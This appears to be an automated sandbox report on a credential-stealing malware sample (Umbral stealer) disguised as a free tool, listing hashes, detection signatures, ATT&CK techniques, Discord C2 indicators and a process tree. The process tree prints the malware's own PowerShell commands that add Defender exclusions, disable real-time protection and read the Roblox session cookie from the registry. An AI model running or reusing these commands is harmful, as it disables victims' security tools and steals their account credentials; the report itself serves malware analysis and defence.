umbral | 0c6e6a1c2c50a0a1ab3f74ea0985e14003921c3b7f4e427b56c7673439accb8b

Analysis

max time kernel
30s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
11-12-2024 21:08

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General

Target

NerestPCFree 0.31.1 fixed.exe
Size

231KB
MD5

08dce587975cb4a6cb1333bd7d3aea6c
SHA1

4c855f6bb5cad027522d0a063cb4f1cd6e97b163
SHA256

0c6e6a1c2c50a0a1ab3f74ea0985e14003921c3b7f4e427b56c7673439accb8b
SHA512

19f21d6f976a971f4bffbf74a7b6450ec6b6ec02d837422a5c5edbd3fb825e630642e4b840e181484a2e0e47997631ad7012f1f710aa098538164c8998592f81
SSDEEP

6144:xloZMCrIkd8g+EtXHkv/iD4LsUtt74szYKrd4UBr8b8e1mOoi:DoZZL+EP8LsUtt74szYKrd4UBAJ

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3536-1-0x000001835D400000-0x000001835D440000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4440	powershell.exe
5040	powershell.exe
2380	powershell.exe
972	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2176	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4440	powershell.exe
4440	powershell.exe
972	powershell.exe
972	powershell.exe
5040	powershell.exe
5040	powershell.exe
4760	powershell.exe
4760	powershell.exe
2380	powershell.exe
2380	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	NerestPCFree 0.31.1 fixed.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	4760	powershell.exe
Token: SeIncreaseQuotaPrivilege	4992	wmic.exe
Token: SeSecurityPrivilege	4992	wmic.exe
Token: SeTakeOwnershipPrivilege	4992	wmic.exe
Token: SeLoadDriverPrivilege	4992	wmic.exe
Token: SeSystemProfilePrivilege	4992	wmic.exe
Token: SeSystemtimePrivilege	4992	wmic.exe
Token: SeProfSingleProcessPrivilege	4992	wmic.exe
Token: SeIncBasePriorityPrivilege	4992	wmic.exe
Token: SeCreatePagefilePrivilege	4992	wmic.exe
Token: SeBackupPrivilege	4992	wmic.exe
Token: SeRestorePrivilege	4992	wmic.exe
Token: SeShutdownPrivilege	4992	wmic.exe
Token: SeDebugPrivilege	4992	wmic.exe
Token: SeSystemEnvironmentPrivilege	4992	wmic.exe
Token: SeRemoteShutdownPrivilege	4992	wmic.exe
Token: SeUndockPrivilege	4992	wmic.exe
Token: SeManageVolumePrivilege	4992	wmic.exe
Token: 33	4992	wmic.exe
Token: 34	4992	wmic.exe
Token: 35	4992	wmic.exe
Token: 36	4992	wmic.exe
Token: SeIncreaseQuotaPrivilege	4992	wmic.exe
Token: SeSecurityPrivilege	4992	wmic.exe
Token: SeTakeOwnershipPrivilege	4992	wmic.exe
Token: SeLoadDriverPrivilege	4992	wmic.exe
Token: SeSystemProfilePrivilege	4992	wmic.exe
Token: SeSystemtimePrivilege	4992	wmic.exe
Token: SeProfSingleProcessPrivilege	4992	wmic.exe
Token: SeIncBasePriorityPrivilege	4992	wmic.exe
Token: SeCreatePagefilePrivilege	4992	wmic.exe
Token: SeBackupPrivilege	4992	wmic.exe
Token: SeRestorePrivilege	4992	wmic.exe
Token: SeShutdownPrivilege	4992	wmic.exe
Token: SeDebugPrivilege	4992	wmic.exe
Token: SeSystemEnvironmentPrivilege	4992	wmic.exe
Token: SeRemoteShutdownPrivilege	4992	wmic.exe
Token: SeUndockPrivilege	4992	wmic.exe
Token: SeManageVolumePrivilege	4992	wmic.exe
Token: 33	4992	wmic.exe
Token: 34	4992	wmic.exe
Token: 35	4992	wmic.exe
Token: 36	4992	wmic.exe
Token: SeIncreaseQuotaPrivilege	1916	wmic.exe
Token: SeSecurityPrivilege	1916	wmic.exe
Token: SeTakeOwnershipPrivilege	1916	wmic.exe
Token: SeLoadDriverPrivilege	1916	wmic.exe
Token: SeSystemProfilePrivilege	1916	wmic.exe
Token: SeSystemtimePrivilege	1916	wmic.exe
Token: SeProfSingleProcessPrivilege	1916	wmic.exe
Token: SeIncBasePriorityPrivilege	1916	wmic.exe
Token: SeCreatePagefilePrivilege	1916	wmic.exe
Token: SeBackupPrivilege	1916	wmic.exe
Token: SeRestorePrivilege	1916	wmic.exe
Token: SeShutdownPrivilege	1916	wmic.exe
Token: SeDebugPrivilege	1916	wmic.exe
Token: SeSystemEnvironmentPrivilege	1916	wmic.exe
Token: SeRemoteShutdownPrivilege	1916	wmic.exe
Token: SeUndockPrivilege	1916	wmic.exe
Token: SeManageVolumePrivilege	1916	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3536 wrote to memory of 4440	3536	NerestPCFree 0.31.1 fixed.exe	83
PID 3536 wrote to memory of 4440	3536	NerestPCFree 0.31.1 fixed.exe	83
PID 3536 wrote to memory of 972	3536	NerestPCFree 0.31.1 fixed.exe	85
PID 3536 wrote to memory of 972	3536	NerestPCFree 0.31.1 fixed.exe	85
PID 3536 wrote to memory of 5040	3536	NerestPCFree 0.31.1 fixed.exe	87
PID 3536 wrote to memory of 5040	3536	NerestPCFree 0.31.1 fixed.exe	87
PID 3536 wrote to memory of 4760	3536	NerestPCFree 0.31.1 fixed.exe	89
PID 3536 wrote to memory of 4760	3536	NerestPCFree 0.31.1 fixed.exe	89
PID 3536 wrote to memory of 4992	3536	NerestPCFree 0.31.1 fixed.exe	91
PID 3536 wrote to memory of 4992	3536	NerestPCFree 0.31.1 fixed.exe	91
PID 3536 wrote to memory of 1916	3536	NerestPCFree 0.31.1 fixed.exe	94
PID 3536 wrote to memory of 1916	3536	NerestPCFree 0.31.1 fixed.exe	94
PID 3536 wrote to memory of 4064	3536	NerestPCFree 0.31.1 fixed.exe	96
PID 3536 wrote to memory of 4064	3536	NerestPCFree 0.31.1 fixed.exe	96
PID 3536 wrote to memory of 2380	3536	NerestPCFree 0.31.1 fixed.exe	98
PID 3536 wrote to memory of 2380	3536	NerestPCFree 0.31.1 fixed.exe	98
PID 3536 wrote to memory of 2176	3536	NerestPCFree 0.31.1 fixed.exe	101
PID 3536 wrote to memory of 2176	3536	NerestPCFree 0.31.1 fixed.exe	101

C:\Users\Admin\AppData\Local\Temp\NerestPCFree 0.31.1 fixed.exe
"C:\Users\Admin\AppData\Local\Temp\NerestPCFree 0.31.1 fixed.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\NerestPCFree 0.31.1 fixed.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4760
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1916
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2380
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
7e6444621df5580f99d39261e0e7805b

SHA1
2fe7b2d2463d42f1c27d8cb639311f24c6e2d74f

SHA256
8cb368b7143bcdb817534d6ec6e56946995a631fb50f6254c4885ad08377dcb1

SHA512
d54295b3bf4aab31a5b51364b8b88772da5a99ffbed7797c01e36a03529a7abb3b552c7821a2a44bc948ba16eed0c1934e5802ed08893892b91dd495b55258df

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec79fae4e7c09310ebf4f2d85a33a638

SHA1
f2bdd995b12e65e7ed437d228f22223b59e76efb

SHA256
e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

SHA512
af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s55rskk2.0ht.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3536-67-0x00000183779E0000-0x00000183779EA000-memory.dmp

Filesize
40KB

Download
memory/3536-33-0x00000183779A0000-0x00000183779BE000-memory.dmp

Filesize
120KB

Download
memory/3536-88-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/3536-68-0x0000018377C10000-0x0000018377C22000-memory.dmp

Filesize
72KB

Download
memory/3536-2-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/3536-31-0x0000018377B90000-0x0000018377C06000-memory.dmp

Filesize
472KB

Download
memory/3536-32-0x0000018377B10000-0x0000018377B60000-memory.dmp

Filesize
320KB

Download
memory/3536-0-0x00007FFC5A983000-0x00007FFC5A985000-memory.dmp

Filesize
8KB

Download
memory/3536-1-0x000001835D400000-0x000001835D440000-memory.dmp

Filesize
256KB

Download
memory/4440-15-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/4440-12-0x000001E07B680000-0x000001E07B6A2000-memory.dmp

Filesize
136KB

Download
memory/4440-14-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/4440-13-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download
memory/4440-18-0x00007FFC5A980000-0x00007FFC5B441000-memory.dmp

Filesize
10.8MB

Download